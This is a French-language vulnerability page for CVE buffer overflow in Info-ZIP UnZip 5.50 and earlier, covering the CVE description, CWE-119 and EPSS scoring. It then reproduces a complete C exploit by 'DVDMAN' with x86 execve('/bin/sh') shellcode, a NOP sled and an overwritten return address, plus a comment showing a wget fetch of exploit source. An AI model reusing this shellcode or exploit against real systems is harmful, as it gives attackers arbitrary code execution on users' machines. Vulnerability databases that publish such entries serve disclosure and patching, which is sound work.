Descriptions du CVE

Buffer overflow in UnZip 5.50 and earlier allows user-assisted attackers to execute arbitrary code via a long filename command line argument. NOTE: since the overflow occurs in a non-setuid program, there are not many scenarios under which it poses a vulnerability, unless unzip is passed long arguments when it is invoked from other programs.

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

// source: https://www.securityfocus.com/bid/15968/info Info-ZIP 'unzip' is susceptible to a filename buffer-overflow vulnerability. The application fails to properly bounds-check user-supplied data before copying it into an insufficiently sized memory buffer. This issue allows attackers to execute arbitrary machine code in the context of users running the affected application. /* By DVDMAN ([email protected])[email protected] http://www.snosoft.com http://WWW.L33TSECURITY.COM L33T SECURITY Keep It Private based on code by hackbox.ath.cx > wget http://hackbox.ath.cx/mizc/unzip-expl.c lame unzip <= 5.50 tested on redhat 7.2 By DVDMAN L33TSECURITY.COM */ #include <stdio.h> #include <unistd.h> #include <stdlib.h> #define MAX "\x39\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30" #define BUF 3264+1900+20000 #define LOC 3262 #define OFFSET 700 // brute force it char fakechunk[] = "\xf0\xff\xff\xff" "\xfc\xff\xff\xff" "\xde\x16\xe8\x77" "\x42\x6c\xe8\x77"; char execshell[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f" "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89" "\xc2\xb0\x0b\xcd\x80\x89\xc3\x31\xc0\x40" "\xcd\x80"; /* newroot's shellcode */ int main (int argc, char *argv[]) { char buf[BUF + 1]; int x; char *ptr; int i=0,offset=OFFSET; unsigned long addy = 0xbffffab0; if (argc < 2) { printf("[L33TSECURITY]"); printf("UNZIP EXPLOIT BY DVDMAN "); printf("[L33TSECURITY]\n"); printf("[Usage] %s Offset\n",argv[0]); return; } if (argc > 1) offset = atoi(argv[1]); memset(buf,0x90,BUF); ptr = buf + ((BUF) - strlen(execshell)); for (i=0;i<strlen(execshell);i++) *(ptr++) = execshell[i]; *(long*)&buf[LOC] = addy + offset; *(long*)&buf[LOC+4] = addy + offset; buf[BUF] = 0; if (buf < MAX) { x = atoi(fakechunk + 2); memset(buf,x,BUF); execl("/usr/bin/unzip","unzip",buf,NULL); } execl("/usr/bin/unzip","unzip",buf,fakechunk,NULL); return; }
